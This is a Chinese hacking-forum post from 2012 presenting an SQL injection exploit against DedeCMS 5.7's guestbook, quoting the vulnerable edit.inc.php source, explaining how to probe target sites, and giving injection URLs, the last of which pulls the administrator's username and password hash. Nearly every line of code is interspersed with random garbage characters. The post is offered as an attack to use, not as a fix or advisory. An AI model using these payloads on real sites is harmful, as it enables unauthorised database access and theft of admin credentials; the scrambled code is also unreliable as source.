找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4051|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
! f5 p' E1 S: |8 ~6 X/ @) ]4 |/ x- }8 t' J! I  S1 L! t) U
漏洞文件edit.inc.php具体代码:
0 ]9 N8 ?! Z: R3 S7 x8 z) L- L0 t! v  [' _9 G( R
< ?php  
& X: n9 W; q- T1 B( ~
( p, W; _' j9 a. @: {2 O5 ]if(!defined('DEDEINC')) exit('Request Error!');  
9 S% M0 {5 h5 E9 F! d1 k  U$ p
. a  G! _% _, I9 e; d. Z   
) m6 M7 B' ~+ c! e" I
/ f( F  Y# ]" b% \if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
  D$ y7 Z" X1 X( D# d7 N( B
" s( {7 u2 c6 Eelse $GUEST_BOOK_POS = "guestbook.php";  ) n3 r. A8 [- u
5 z5 s" e2 }( ]0 z# `
   8 F% S1 w- e+ q3 l' f
& g, D& g+ Y/ \6 r( `
$id = intval($id);  * Y! ^. C; _9 A& P  }8 x

# E% f8 v* E! I& a2 t! t0 U1 J2 Cif(empty($job)) $job='view';  - S! ]# d. a$ d2 Y& Q) n; q. r

3 X  B# \) m; F   
# q0 F, ^( x$ f$ i# v
3 M+ k: [9 C( eif($job=='del' && $g_isadmin)  8 h8 U+ p7 f7 o  U) Y! s1 T) r
9 z  L% L/ W2 f- \
{  
2 g4 f" y  @4 W+ d+ m3 r
$ k; v- j, \$ A2 C: a$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  % t9 D9 k* z  c6 ?" Y/ Z8 H6 N
: _# u' \( n, `6 M  z
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
' o& q( T0 L  u' Y! O( W) ^
: ]/ R, u, I% v; }( x1 m1 F, lexit();  
1 e, B0 ]: Y* t  b4 l5 W5 P  L5 G4 I' S
}  * n. K9 T: @& l- q6 _, [  c
  i+ x6 {9 d% T) w( P. A& T8 X' o
else if($job=='check' && $g_isadmin)  " }! H. e: Y- m; B
4 E. l' C- D( d+ V2 Q
{  
$ \- f" i, y' V: z* G+ U* z* M! K; q" i4 \2 T' S
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  3 J3 [1 g1 [- ~4 k1 }. ]$ F( p- w/ d
; X& F+ D' Q* ?$ H
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  , Z* {- H8 ]# N% K

+ k2 H  C- ]3 G) c" T* uexit();    y6 U+ ^1 Y# T- H6 w) A
$ R6 l" E& D9 J. p, b- Q
}  
  f0 j$ m7 p8 j: `3 g" D8 s5 C/ y* ^' M3 a6 h5 R7 X  Z
else if($job=='editok')  
9 x0 G) k$ Y( l; f7 g
$ g, `  H: y/ i" }! [% o: Q+ \9 s& J{  : ]/ t. s. g# Q, w9 P0 Z6 N; \
# r, Q4 I# G. I9 V9 l
$remsg = trim($remsg);  ( i2 k" z  U  e9 W+ i( R, y
+ E6 F$ d. e( b. G& ?" ^$ n
if($remsg!='')  
+ l4 W4 E$ j* V: o. n! _* a2 Y' R6 S  }& _
{  
' \: K1 x# i  P0 m# r" d( N
/ u$ j  E" d; P$ k//管理员回复不过滤HTML By:Errorera blog:errs.cc  # y! w, m: ^& n5 k0 E0 o4 [
6 S1 I7 o, s  n3 w* E; e
if($g_isadmin)  ; x" H$ c- }, [
; }5 @% F8 K! M* B% ?3 Y
{  + P4 C# {% W. L1 B
8 ?( f: T' k9 X! m$ w
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
& d: }# I$ R& q* N% C
/ z4 \6 O+ `0 P' h) p//$remsg <br /><font color=red>管理员回复:</font> }  % A( E2 b; O' S* H8 `# D  g

1 G8 y4 S$ Y" p) Gelse 4 f0 s5 }' f: B, b# h

; I5 H3 R* [* ~( V  d4 E{  ( u6 E. D- u) l/ ~; o  j

4 }8 o/ R, v3 v5 Z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  - O$ c' j5 a" ^. @- \" t1 b$ n' H& O
7 a; `/ ~% ]8 H' K: E" ~- e) o& B
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  4 i! ~$ U* P6 t7 Y& @1 {* \
" \. _& I8 e) j9 j9 r3 F# c% H
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
1 ]6 b( ^: M0 q/ e5 q- s; x: A1 t, P. Q6 R9 _  n. F; i
$msg = $oldmsg.$remsg;  6 f; S" \+ @  Z+ c. f9 @5 L- L

3 y/ O8 V( ~$ ]$ {8 f0 `- R}  / q# \8 @/ S3 {% w# ^5 @
" @. e# q6 `; Y' q2 S+ b% M& U
}  * E6 V  h/ v' T/ f' }4 k

3 e2 R5 |' ^6 Q//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
6 `  _3 O: y; s- K4 I" k9 a- f0 @) N  ?
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
% s, W) U0 U8 ~. N
4 `& l* t6 R. j  }ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  % U  H0 K' E6 m, w" D8 w: L
$ E) `- D, [2 h; D
exit();  9 x% H  D: I% |( o) J2 X, k

7 Y9 ?, L+ T% J( g  l8 F}  4 `* i4 n0 }8 E$ i
' z3 u" Q! M6 p7 ^9 U  P# [
//home:www.errs.cc  
/ h1 W+ I: s9 A: a3 ]6 I) Y5 M
$ @! ~: G. _% L/ R$ {& C6 vif($g_isadmin)  
9 k- `( }1 p1 C' ^, ?0 _) i' e; R9 s# ?) o' O3 V1 J; ]% I. K
{  
% d0 w5 z: a1 a7 }) B, _! U) j, A3 ?2 d1 U" f3 b& i
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
9 j5 `" Z  r- T: M' i" |- n! [8 }- ^, d! U8 T4 N" I6 `+ r( G7 E* u' J
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
" v  l( O* \, W: O* R" J, S
* Y4 _" N) I* j. Y3 _4 O}  % r7 L' V' c9 c2 H3 v+ Z; t' J
! W! O  e1 t+ k0 z1 a
else
! Q! v! S8 U; W9 f4 G  h1 `
$ T/ d0 O5 @1 w$ D+ M2 R{  
$ L! N, ~1 R8 b: ^4 W* O$ l
* v) b' W' y$ |% S  g2 J  x' B* M$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ( n! G; c; U; X- v* y8 X
" z* q9 M& r. P: n9 R: U5 ~  u
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
5 {( U; h$ j& {4 K1 }* g$ q8 M5 L6 R  m& _2 K
} 漏洞成功需要条件:
/ ]$ b% e- R5 ~4 x6 y1. php magic_quotes_gpc=off" X% ^  u! t6 S! y
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。+ G, N) [7 `2 v) Y( P  P  v. o
4 z8 @0 ?2 Z6 o" v
怎么判断是否存在漏洞:4 A* H: ~/ f- O2 B2 M
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,7 y8 ~+ ?3 x( f. {% `. {
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( ]/ f) I( j) A' _9 D8 r& }访问:
3 c6 N- o9 }& o- \# d+ {$ o3 \9 g
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 E: e! _9 W0 r  L; P: \! X  V
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证' n' P  C/ K) P, q" S
8 h" P' c3 I0 p1 r/ {  J/ b1 K

% O9 a$ x  b: M6 Y8 z5 q  r) p明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
) G+ [8 a' u; |7 ~/ S# {7 w3 \0 ?如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' g% h" U. v$ H$ m( ~  @5 D那么再次访问
" F) m1 c1 O0 o7 Y
6 g& X$ [! q, V" m% n; rwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().4 v: M1 P5 A0 O
9 b. @% `, K6 r1 {. Y& a5 D+ I
大概利用就是这样,大家有兴趣的多研究下!!# z% Z" a3 k0 @8 D: k6 N
0 u* r& R! M8 ~* f, R- ?; l
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
8 L* ?/ Z. d# {& G3 t: q2 \2 D' c% O& z
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表